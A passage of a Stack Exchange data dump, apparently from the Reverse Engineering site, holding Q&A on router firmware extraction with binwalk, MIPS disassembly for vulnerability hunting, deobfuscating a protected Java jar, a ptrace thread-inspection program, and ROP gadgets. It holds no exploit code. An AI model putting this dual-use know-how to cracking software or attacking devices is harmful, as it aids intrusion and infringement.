&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Corner Coffee House Peppermint Chocolate Syrup&lt;/strong&gt; 676458&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tea Bar Peach Iced Tea&lt;/strong&gt; 349130 (Is this unheated water?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tazo Awake Black Tea&lt;/strong&gt; 699556&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Suchard Hot Chocolate&lt;/strong&gt; (195ml) 047852 (single T Disc) &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Kenco Medium Roast&lt;/strong&gt; (195ml) 297615 (single T Disc) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Carte Noire Espresso Classic 60ml + Carte Noire Expresso Intense from Cappuccino 190ml share barcodes that may imply Creamer for Cappuccino = 130ml?&lt;/li&gt;&#xA;&lt;li&gt;Kenco Medium Roast 195ml + Carte Noire Petit Dejeuner Classic 215ml share same barcode even though 20ml difference?&lt;/li&gt;&#xA;&lt;li&gt;Creamer for Capuccino and Creamer for Cadbury has the same barcode although different foil labels.&lt;/li&gt;&#xA;&lt;li&gt;Costa Cappuccino and Costa Caramel Latte use the same Costa Espresso for Cappuccino &amp;amp; Latte T Discs&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4313" LastEditorUserId="12550" LastEditDate="2015-05-19T07:19:32.747" LastActivityDate="2015-05-19T07:19:32.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4031" PostTypeId="2" ParentId="4021" CreationDate="2014-04-07T06:33:37.830" Score="2" Body="&lt;p&gt;I'm not sure, but you probably experiencing the following issue:&#xA;Usually page addresses are rounded by page size. It depends on page size in system you working with. So you can calculate this address by making AND operation with constant &lt;code&gt;~(PAGE_SIZE-1)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work, try to call call &lt;code&gt;mprotect&lt;/code&gt; twice:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;first do read and write without execute, &lt;/li&gt;&#xA;&lt;li&gt;change the memory, and after that call &lt;code&gt;mprotect&lt;/code&gt; with execute bit but without write bit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2014-04-07T19:49:25.853" LastActivityDate="2014-04-07T19:49:25.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4033" PostTypeId="2" ParentId="3983" CreationDate="2014-04-07T14:16:50.493" Score="6" Body="&lt;p&gt;For some reason I have yet to determine, every effort to set a breakpoint on this module by name (fdisk.sys) is failing.  The driver isn't loaded at bootup (at least, not at the point that I'm investigating right now).  It's loaded by a module and then unloaded again fairly soon thereafter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally used a debugger (indside my VM) to step through the module that launches the driver, stopped execution after the file was written to disk, and used a hex editor to change the first instruction to INT 3.  That worked; when the driver loads the exception is caught by the kernel debugger and I'm able to start reviewing.  &lt;em&gt;phew&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I gotta figure out why I couldn't get it break by name.....&lt;/p&gt;&#xA;" OwnerUserId="1387" LastActivityDate="2014-04-07T14:16:50.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4034" PostTypeId="1" AcceptedAnswerId="4035" CreationDate="2014-04-07T16:12:04.103" Score="8" ViewCount="8729" Body="&lt;p&gt;I am trying to extract the squashfs filesystem of my router. &lt;a href=&quot;http://www.downloads.netgear.com/files/GDC/WNDR3400V2/WNDR3400v2_V1.0.0.38_1.0.61.zip&quot; rel=&quot;noreferrer&quot;&gt;Here is firmware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I unzipped the file. Next, I ran &lt;code&gt;binwalk&lt;/code&gt; to get some information about the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;58          0x3A        TRX firmware header, little endian, header size: 28 bytes,  image size: 6656000 bytes, CRC32: 0x2B1713B2 flags/version: 0x10000&#xA;86          0x56        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3614368 bytes&#xA;1282426     0x13917A    Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 5367357 bytes,  853 inodes, blocksize: 65536 bytes, created: Wed Aug  7 05:08:47 2013 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then ran &lt;code&gt;binwalk -e&lt;/code&gt; to extract the contents of the file. I got three files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.&#xA;├── 13917A.squashfs&#xA;├── 56&#xA;└── 56.7z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;unsquashfs&lt;/code&gt; on &lt;code&gt;13917A.squashfs&lt;/code&gt; failed, saying it was unable to find the magic block. This was because the file was using a non standard magic. Changing the magic to a standard one made &lt;code&gt;unsquashfs&lt;/code&gt; and &lt;code&gt;file&lt;/code&gt; detect it as a squashfs file system. But &lt;code&gt;unsquashfs&lt;/code&gt; did not complete successfully:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;caff@UbunutuX2:~/Netgear/test$ unsquashfs 13917A.squashfs &#xA;Reading a different endian SQUASHFS filesystem on 13917A.squashfs&#xA;Filesystem on 13917A.squashfs is (768:0), which is a later filesystem version than I support!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried extracting the file system by using &lt;a href=&quot;https://code.google.com/p/firmware-mod-kit&quot; rel=&quot;noreferrer&quot;&gt;Jeremy Collake’s Firmware Mod Kit&lt;/a&gt;. This failed also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;caff@UbunutuX2:~/Netgear/test$ /opt/firmware-mod-kit/trunk/unsquashfs_all.sh 13917A.squashfs &#xA;Attempting to extract SquashFS .X file system...&#xA;&#xA;&#xA;Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... Skipping others/squashfs-hg55x-bin (wrong version)...&#xA;File extraction failed!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I extract this squashfs file system?&lt;/p&gt;&#xA;" OwnerUserId="4321" LastActivityDate="2014-04-07T17:06:38.863" Title="Router Decompiling" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4035" PostTypeId="2" ParentId="4034" CreationDate="2014-04-07T16:25:31.060" Score="3" Body="&lt;p&gt;After unziping the arhive, run &lt;code&gt;binwalk&lt;/code&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -eM *.chm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Flag e stands for extract automatically,and M for &lt;code&gt;--matryoshka&lt;/code&gt; or recursively scanning and extracting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a few recursive unpackings, you'll get a squashfs-root dir with what you want I guess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it's worth, I tried this with binwalk version 1.2.1.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="4321" LastEditDate="2014-04-07T17:06:38.863" LastActivityDate="2014-04-07T17:06:38.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4036" PostTypeId="1" CreationDate="2014-04-08T13:15:25.403" Score="0" ViewCount="13059" Body="&lt;p&gt;Now I most definitely could be wrong considering I am pretty new to hacking files like these anyways, but In hex editors, I always open files to what I think is an encryption. Now I don't know if these files are actually encrypted or maybe they are in a programming language I'm not aware of, but is it possible to &quot;decrypt&quot; said files?&lt;/p&gt;&#xA;" OwnerUserId="4325" LastActivityDate="2014-04-08T18:51:02.333" Title="How to decrypt games?" Tags="|decryption|" AnswerCount="2" CommentCount="6" ClosedDate="2014-04-09T08:08:27.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="4037" PostTypeId="2" ParentId="4036" CreationDate="2014-04-08T14:57:10.830" Score="3" Body="&lt;p&gt;Definitely not just use the hex editor.&#xA;You should use the debugger OllyDbg or ImmunityDebugger, and bring the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What language it was written the program&lt;/li&gt;&#xA;&lt;li&gt;When the program performs the decryption of the file&lt;/li&gt;&#xA;&lt;li&gt;What happens before and after the file has been decrypted&lt;/li&gt;&#xA;&lt;li&gt;Which API could use&lt;/li&gt;&#xA;&lt;li&gt;Both with OllyDbg that with Immunity can see all the intermodular calls&lt;/li&gt;&#xA;&lt;li&gt;At this point you can set breakpoints and debug APIs found &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The process is not immediate, you must first locate the piece of code that performs the decryption of the file to make a good analysis.&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2014-04-08T14:57:10.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4038" PostTypeId="1" CreationDate="2014-04-08T15:47:28.237" Score="2" ViewCount="1470" Body="&lt;p&gt;So I am attempting to reverse engineer a jar obfuscated with Zelix Klass-Master. I have been using JMD, although it crashes whenever it attempts to crack the bytecode, saying &quot;Could not locate control field&quot; and giving me a NullPointerException. Here is one of the classes in the said jar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   // ERROR //&#xA;   public void s()&#xA;   {&#xA;    // Byte code:&#xA;    //   0: getstatic 115   g2b:Cb  Z&#xA;    //   3: istore_2&#xA;    //   4: aload_0&#xA;    //   5: invokevirtual 25    e2b:i   ()Z&#xA;    //   8: ifne +5 -&amp;gt; 13&#xA;    //   11: return&#xA;    //   12: athrow&#xA;    //   13: aload_0&#xA;    //   14: getfield 28    e2b:g   Lvbb;&#xA;    //   17: getfield 32    vbb:t   Lcv;&#xA;    //   20: invokevirtual 38   cv:e    ()Z&#xA;    //   23: ifeq +270 -&amp;gt; 293&#xA;    //   26: aload_0&#xA;    //   27: getfield 28    e2b:g   Lvbb;&#xA;    //   30: getfield 32    vbb:t   Lcv;&#xA;    //   33: getfield 43    cv:w    Z&#xA;    //   36: ifeq +257 -&amp;gt; 293&#xA;    //   39: goto +4 -&amp;gt; 43&#xA;    //   42: athrow&#xA;    //   43: aload_0&#xA;    //   44: getfield 28    e2b:g   Lvbb;&#xA;    //   47: getfield 32    vbb:t   Lcv;&#xA;    //   50: invokevirtual 47   cv:s    ()Z&#xA;    //   53: ifne +240 -&amp;gt; 293&#xA;    //   56: goto +4 -&amp;gt; 60&#xA;    //   59: athrow&#xA;    //   60: aload_0&#xA;    //   61: getfield 28    e2b:g   Lvbb;&#xA;    //   64: getfield 32    vbb:t   Lcv;&#xA;    //   67: getstatic 49   bbb:z   Lbbb;&#xA;    //   70: invokevirtual 55   cv:a    (Lbbb;)Z&#xA;    //   73: ifne +220 -&amp;gt; 293&#xA;    //   76: goto +4 -&amp;gt; 80&#xA;    //   79: athrow&#xA;    //   80: aload_0&#xA;    //   81: getfield 28    e2b:g   Lvbb;&#xA;    //   84: getfield 32    vbb:t   Lcv;&#xA;    //   87: getstatic 59   bbb:i   Lbbb;&#xA;    //   90: invokevirtual 55   cv:a    (Lbbb;)Z&#xA;    //   93: ifne +200 -&amp;gt; 293&#xA;    //   96: goto +4 -&amp;gt; 100&#xA;    //   99: athrow&#xA;    //   100: aload_0&#xA;    //   101: getfield 28   e2b:g   Lvbb;&#xA;    //   104: getfield 32   vbb:t   Lcv;&#xA;    //   107: getfield 61   cv:Dc   Lg7;&#xA;    //   110: invokevirtual 65  g7:a    ()Lx9;&#xA;    //   113: invokevirtual 70  x9:a    ()Lh7;&#xA;    //   116: instanceof 75&#xA;    //   119: ifeq +174 -&amp;gt; 293&#xA;    //   122: goto +4 -&amp;gt; 126&#xA;    //   125: athrow&#xA;    //   126: aload_0&#xA;    //   127: getfield 28   e2b:g   Lvbb;&#xA;    //   130: getfield 32   vbb:t   Lcv;&#xA;    //   133: sipush 7200&#xA;    //   136: putfield 77   cv:hd   I&#xA;    //   139: aload_0&#xA;    //   140: getfield 28   e2b:g   Lvbb;&#xA;    //   143: invokevirtual 81  vbb:y   ()Lmeb;&#xA;    //   146: new 85    wfb&#xA;    //   149: dup&#xA;    //   150: iconst_m1&#xA;    //   151: iconst_m1&#xA;    //   152: iconst_m1&#xA;    //   153: sipush 255&#xA;    //   156: aload_0&#xA;    //   157: getfield 28   e2b:g   Lvbb;&#xA;    //   160: getfield 32   vbb:t   Lcv;&#xA;    //   163: getfield 61   cv:Dc   Lg7;&#xA;    //   166: invokevirtual 65  g7:a    ()Lx9;&#xA;    //   169: fconst_1&#xA;    //   170: fconst_1&#xA;    //   171: fconst_1&#xA;    //   172: invokespecial 87  wfb:&amp;lt;init&amp;gt;  (IIIILx9;FFF)V&#xA;    //   175: invokevirtual 90  meb:c   (Lcfb;)V&#xA;    //   178: iconst_0&#xA;    //   179: istore_1&#xA;    //   180: iload_2&#xA;    //   181: ifeq +37 -&amp;gt; 218&#xA;    //   184: aload_0&#xA;    //   185: getfield 28   e2b:g   Lvbb;&#xA;    //   188: invokevirtual 81  vbb:y   ()Lmeb;&#xA;    //   191: new 96    nfb&#xA;    //   194: dup&#xA;    //   195: aload_0&#xA;    //   196: getfield 28   e2b:g   Lvbb;&#xA;    //   199: getfield 32   vbb:t   Lcv;&#xA;    //   202: getfield 43   cv:w    Z&#xA;    //   205: invokespecial 98  nfb:&amp;lt;init&amp;gt;  (Z)V&#xA;    //   208: invokevirtual 90  meb:c   (Lcfb;)V&#xA;    //   211: goto +4 -&amp;gt; 215&#xA;    //   214: athrow&#xA;    //   215: iinc 1 1&#xA;    //   218: iload_1&#xA;    //   219: bipush 20&#xA;    //   221: if_icmplt -37 -&amp;gt; 184&#xA;    //   224: aload_0&#xA;    //   225: getfield 28   e2b:g   Lvbb;&#xA;    //   228: invokevirtual 81  vbb:y   ()Lmeb;&#xA;    //   231: new 101   vfb&#xA;    //   234: dup&#xA;    //   235: iconst_5&#xA;    //   236: iconst_0&#xA;    //   237: iconst_0&#xA;    //   238: iconst_0&#xA;    //   239: sipush 255&#xA;    //   242: invokespecial 103 vfb:&amp;lt;init&amp;gt;  (IIIII)V&#xA;    //   245: invokevirtual 90  meb:c   (Lcfb;)V&#xA;    //   248: aload_0&#xA;    //   249: getfield 28   e2b:g   Lvbb;&#xA;    //   252: invokevirtual 81  vbb:y   ()Lmeb;&#xA;    //   255: new 85    wfb&#xA;    //   258: dup&#xA;    //   259: iconst_m1&#xA;    //   260: iconst_m1&#xA;    //   261: iconst_m1&#xA;    //   262: iconst_m1&#xA;    //   263: aload_0&#xA;    //   264: getfield 28   e2b:g   Lvbb;&#xA;    //   267: getfield 32   vbb:t   Lcv;&#xA;    //   270: getfield 61   cv:Dc   Lg7;&#xA;    //   273: invokevirtual 65  g7:a    ()Lx9;&#xA;    //   276: fconst_0&#xA;    //   277: fconst_0&#xA;    //   278: fconst_0&#xA;    //   279: invokespecial 87  wfb:&amp;lt;init&amp;gt;  (IIIILx9;FFF)V&#xA;    //   282: invokevirtual 90  meb:c   (Lcfb;)V&#xA;    //   285: iload_2&#xA;    //   286: ifne -71 -&amp;gt; 215&#xA;    //   289: goto +4 -&amp;gt; 293&#xA;    //   292: astore_1&#xA;    //   293: return&#xA;    //&#xA;    // Exception table:&#xA;    //   from   to  target  type&#xA;    //   4  12  12  java/lang/Exception&#xA;    //   13 39  42  java/lang/Exception&#xA;    //   26 56  59  java/lang/Exception&#xA;    //   43 76  79  java/lang/Exception&#xA;    //   60 96  99  java/lang/Exception&#xA;    //   80 122 125 java/lang/Exception&#xA;    //   180    211 214 java/lang/Exception&#xA;    //   126    285 292 java/lang/Exception&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anybody help me out? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4327" LastActivityDate="2020-01-04T12:09:12.263" Title="Reversing Engineering ZKM" Tags="|java|" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4039" PostTypeId="2" ParentId="4036" CreationDate="2014-04-08T16:41:06.380" Score="3" Body="&lt;p&gt;I depends on the format the data is in&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Python/JavaScript Files: are run in a interpreter and the source code can simply be opened in a text editor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Java Files: are compiled to java bytecode and run in a vm. Java bytecode is not easy to read or understand but there are programs which can decompile java bytecode into java source files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Binaries: These are compiled programs. It is impossible to automatically convert this back to source code but you disassemble it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;JSON/YAML: These are commonly used to store structured data. You can view them in a text editor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to reverse engineer a game first learn to program. Opening files with hex editors won't get you very far unless you understand what is happening.&lt;/p&gt;&#xA;" OwnerUserId="4321" LastEditorUserId="4321" LastEditDate="2014-04-08T18:51:02.333" LastActivityDate="2014-04-08T18:51:02.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4040" PostTypeId="1" AcceptedAnswerId="4043" CreationDate="2014-04-08T19:04:04.390" Score="4" ViewCount="11558" Body="&lt;p&gt;I am searching for security vulnerabilities in the firmware of &lt;a href=&quot;http://www.downloads.netgear.com/files/GDC/WNDR3400V2/WNDR3400v2_V1.0.0.38_1.0.61.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;this router&lt;/a&gt;, its architecture is mips. &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4034/router-decompiling&quot;&gt;I have successfully unpacked the file system&lt;/a&gt;. I would like to disassemble the http daemon, located at &lt;code&gt;/usr/sbin/httpd&lt;/code&gt;. How can I disassemble this program and run it in &lt;code&gt;spim&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4321" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-05-03T20:28:56.877" Title="Disassembling MIPS Binaries" Tags="|disassembly|mips|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4041" PostTypeId="2" ParentId="4040" CreationDate="2014-04-08T19:31:57.113" Score="5" Body="&lt;p&gt;You can give a try to &lt;a href=&quot;http://rada.re&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt;. It has a pretty complete support for MIPS, and provides a lot functionalities to help during the reversing process.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-04-08T19:31:57.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4042" PostTypeId="2" ParentId="4040" CreationDate="2014-04-08T19:52:45.967" Score="4" Body="&lt;p&gt;Are you sure that you need spim ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest to use &lt;a href=&quot;http://wiki.qemu.org/Download&quot; rel=&quot;nofollow&quot;&gt;qemu&lt;/a&gt; instead of spim for emulation,&#xA;&lt;a href=&quot;http://radare.org/y/&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; for disassembly  as @jvoisin mentioned and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot; rel=&quot;nofollow&quot;&gt;retargetable decompiler&lt;/a&gt; for decompilation if you really need it.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-04-08T19:52:45.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4043" PostTypeId="2" ParentId="4040" CreationDate="2014-04-08T20:44:55.000" Score="5" Body="&lt;p&gt;I would like to second the suggestion of QEMU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Craig has a post describing how to debug a MIPS binary running in QEMU using IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/&quot; rel=&quot;nofollow&quot;&gt;http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you can also use GDB or another debugger speaking the GDB protocol)&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2014-04-08T21:02:35.280" LastActivityDate="2014-04-08T21:02:35.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4044" PostTypeId="2" ParentId="2570" CreationDate="2014-04-09T11:23:52.627" Score="0" Body="&lt;p&gt;there are a lot of tutorials which could help you do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you to go through Lena's reversing tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advice: Please do not use your knowledge to crack any software. Use it constructively.&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2014-04-09T11:23:52.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4045" PostTypeId="2" ParentId="2942" CreationDate="2014-04-09T11:29:33.597" Score="1" Body="&lt;p&gt;the problem would be the address at which you have placed your break point would not have been executed (or) you would not have placed the break point at the beginning of the instruction address (BP won't work if it is placed at the middle of an instruction) &lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2014-04-09T11:29:33.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4046" PostTypeId="2" ParentId="3982" CreationDate="2014-04-09T13:11:27.140" Score="1" Body="&lt;p&gt;Thanks to the hints of blabb and Jonathon Reinhart I was able to write a &lt;code&gt;get_thread_start_address()&lt;/code&gt; function. It reads the same address used by &lt;code&gt;pthread_start_thread()&lt;/code&gt; to call the start routine. In Kernel 3.2.0-4-686-pae this address is &lt;code&gt;GS+0x234&lt;/code&gt;. I use &lt;code&gt;ptrace&lt;/code&gt; to get the &lt;code&gt;GS register&lt;/code&gt; and the actual &lt;code&gt;GS segment address&lt;/code&gt;. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;errno.h&amp;gt;&#xA;#include &amp;lt;fcntl.h&amp;gt;&#xA;#include &amp;lt;sys/ptrace.h&amp;gt;&#xA;#include &amp;lt;sys/user.h&amp;gt;&#xA;#include &amp;lt;sys/wait.h&amp;gt;&#xA;#include &amp;lt;asm/ldt.h&amp;gt;&#xA;#include &amp;lt;asm/ptrace.h&amp;gt;&#xA;&#xA;int attach(int tid);&#xA;int detach(int tid);&#xA;void print_error(char* func_name, int errnumber);&#xA;&#xA;int get_gs_register(int tid){&#xA;    struct user_regs_struct regs;&#xA;    int ret = ptrace(PTRACE_GETREGS, tid, NULL, &amp;amp;regs);&#xA;    if(ret == -1){&#xA;        print_error(&quot;PTRACE_GETREGS&quot;, errno);&#xA;        return -1;&#xA;    }&#xA;    return regs.xgs;&#xA;}&#xA;&#xA;// This is needed to get the actual GS segment address from the GS register value&#xA;int get_thread_area_base(tid, gs){&#xA;    struct user_desc desc;&#xA;    memset(&amp;amp;desc, 0, sizeof(desc));&#xA;    int ret = ptrace(PTRACE_GET_THREAD_AREA, tid, gs / LDT_ENTRY_SIZE, &amp;amp;desc);&#xA;    if(ret == -1){&#xA;        print_error(&quot;PTRACE_GET_THREAD_AREA&quot;, errno);&#xA;        return -1;&#xA;    }&#xA;    return desc.base_addr;&#xA;}&#xA;&#xA;void* get_start_address(tid, start_address_pointer){&#xA;    char start_addr_str[4];&#xA;    int mem_file;&#xA;    char mem_file_path[255];&#xA;    snprintf(mem_file_path, sizeof(mem_file_path), &quot;/proc/%i/mem&quot;, tid);&#xA;    mem_file = open(mem_file_path, O_RDONLY);&#xA;    if(mem_file == -1){&#xA;        print_error(&quot;open()&quot;, errno);&#xA;        return (void*) -4;&#xA;    }&#xA;    int ret = lseek(mem_file, start_address_pointer, SEEK_SET);&#xA;    if(ret == -1){&#xA;        print_error(&quot;lseek()&quot;, errno);&#xA;        return (void*) -5;&#xA;    }&#xA;&#xA;    ret = read(mem_file, start_addr_str, 4);&#xA;    if(ret == -1){&#xA;        print_error(&quot;read()&quot;, errno);&#xA;        return (void*) -6;&#xA;    }   &#xA;&#xA;    return (void*) *((int*)start_addr_str);&#xA;}&#xA;&#xA;int main(int argc, char* argv[]){&#xA;    if(argc &amp;lt;= 1){&#xA;        printf(&quot;Usage: %s TID\n&quot;, argv[0]);&#xA;        return -1;&#xA;    }   &#xA;    int tid = atoi(argv[1]);    &#xA;    int gs;&#xA;    int thread_area_base;&#xA;    int start_address_offset = 0x234;&#xA;    void* start_address;&#xA;&#xA;    int ret = attach(tid);&#xA;    if(ret == -1) return -1;&#xA;&#xA;    gs = get_gs_register(tid);&#xA;    if(gs == -1){&#xA;        detach(tid);&#xA;        return -2;&#xA;    }&#xA;&#xA;    thread_area_base = get_thread_area_base(tid, gs);&#xA;    if(thread_area_base == -1){&#xA;        detach(tid);&#xA;        return -3;&#xA;    }&#xA;    printf(&quot;thread_area_base: %p\n&quot;, (void*) thread_area_base);&#xA;    unsigned int start_address_pointer = thread_area_base + start_address_offset;&#xA;    printf(&quot;start_address_pointer: %p\n&quot;, (void*) start_address_pointer);&#xA;&#xA;    start_address = get_start_address(tid, start_address_pointer);&#xA;    printf(&quot;start_address: %p\n&quot;, start_address);&#xA;&#xA;    detach(tid);&#xA;    return 0;&#xA;}&#xA;&#xA;int attach(int tid){&#xA;    int status; &#xA;    int ret = ptrace(PTRACE_ATTACH, tid, NULL, NULL);&#xA;    if(ret == -1){&#xA;        print_error(&quot;PTRACE_ATTACH&quot;, errno);&#xA;    }&#xA;&#xA;    ret = waitpid(-1, &amp;amp;status, __WALL);&#xA;    if(ret == -1){&#xA;        print_error(&quot;waitpid()&quot;, errno);&#xA;    }&#xA;    return ret;&#xA;}   &#xA;&#xA;int detach(int tid){&#xA;    int ret = ptrace(PTRACE_DETACH, tid, NULL, NULL);&#xA;    if(ret == -1){&#xA;        print_error(&quot;PTRACE_DETACH&quot;, errno);&#xA;    }&#xA;    return ret;&#xA;}&#xA;&#xA;void print_error(char* func_name, int errnumber){&#xA;    printf(&quot;%s failed. %i, %s\n&quot;, func_name, errnumber, strerror(errnumber));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4254" LastActivityDate="2014-04-09T13:11:27.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4047" PostTypeId="1" AcceptedAnswerId="4048" CreationDate="2014-04-09T16:31:47.100" Score="3" ViewCount="1903" Body="&lt;p&gt;In IDA I can easily change the size of the local variables using &lt;code&gt;Alt+P&lt;/code&gt; and then changing the &quot;Local Variables area&quot; field to the desired value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how can I do this with the parameters size? IDA has misanalyzed the function and got the result that it has about 30 kilobytes arguments when it actually just has 30 kilobytes variables.&lt;/p&gt;&#xA;" OwnerUserId="1449" LastActivityDate="2022-06-15T06:59:34.003" Title="How do I adjust the length of the parameters in IDA?" Tags="|ida|functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4048" PostTypeId="2" ParentId="4047" CreationDate="2014-04-09T17:14:06.280" Score="2" Body="&lt;p&gt;You can define function type by pressing &lt;kbd&gt;y&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt; on its name. Function type includes number and types of parameters.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="15246" LastEditDate="2022-06-15T06:59:34.003" LastActivityDate="2022-06-15T06:59:34.003" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4049" PostTypeId="1" CreationDate="2014-04-09T17:53:26.937" Score="3" ViewCount="1157" Body="&lt;p&gt;So by reading this rop &lt;a href=&quot;http://cseweb.ucsd.edu/~hovav/dist/rop.pdf&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt; from Dr. Shacham, I know that it is not very hard to find gadgets set that has Turning-complete computation ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am thinking that, in theoretical, are all the asm code sequences ended with &lt;strong&gt;ret&lt;/strong&gt; can be used as gadgets in ROP attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it wrong? Could anyone give me some counteract example?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-04-11T11:35:10.307" Title="Are all the code sequences ended with &quot;ret&quot; potential &quot;gadgets&quot; for ROP attack?" Tags="|assembly|memory|exploit|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
